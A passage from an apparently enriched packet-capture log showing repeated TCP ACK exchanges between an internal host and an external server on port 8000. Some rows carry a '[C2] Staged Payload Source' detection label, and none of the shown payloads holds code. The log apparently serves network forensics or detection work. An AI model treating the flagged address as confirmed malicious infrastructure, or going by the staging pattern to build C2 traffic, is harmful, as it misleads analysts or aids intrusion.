Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029afef40008006400f0a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45039, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16399, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:26.747188,189,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348abd40004006a536c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..6....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35517, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42294, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:27.762792,190,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff040008006400e0a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45040, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16398, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:27.762806,191,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348abe40004006a535c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..5....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35518, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42293, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:28.778415,192,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff140008006400d0a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45041, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16397, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:28.778436,193,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348abf40004006a534c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..4....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35519, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42292, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:29.778542,194,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff240008006400c0a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45042, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16396, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:29.778565,195,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ac040004006a533c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..3....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35520, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42291, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:30.778584,196,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff340008006400b0a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45043, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16395, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:30.778617,197,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ac140004006a532c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..2....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35521, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42290, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:31.794220,198,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff440008006400a0a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45044, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16394, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:31.794248,199,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ac240004006a531c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..1....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35522, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42289, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:32.809896,200,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff54000800640090a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45045, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16393, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:32.809916,201,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ac340004006a530c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..0....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35523, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:33.825444,202,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff64000800640080a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45046, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16392, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:33.825462,203,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ac440004006a52fc0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@../....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35524, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42287, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:34.841170,204,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029aff74000800640070a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45047, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16391, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:34.841181,205,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 